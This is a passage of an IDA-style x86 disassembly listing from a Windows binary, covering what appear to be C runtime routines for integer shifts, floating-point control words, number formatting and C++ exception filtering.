; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D358
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D370
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBB50
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DBB78, eax
		add	esp, 18h
		movsx	eax, byte_4DBB52
		mov	dword_4DBB70, eax
		pop	edi
		movsx	eax, word_4DBB50
		mov	dword_4DBB74, eax
		mov	dword_4DBB7C, offset dword_4DBB54
		mov	eax, offset dword_4DBB70
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043CF98o
					; ___:0043D7F8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DBB80
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DBB80
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
dword_424754	dd 0E8004247h, 21EBD5Ah, 0BB80A390h, 0FFC3004Dh, 4DBB8035h
					; DATA XREF: ___:00429040o
		dd 47E89000h, 0C3021EBDh

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
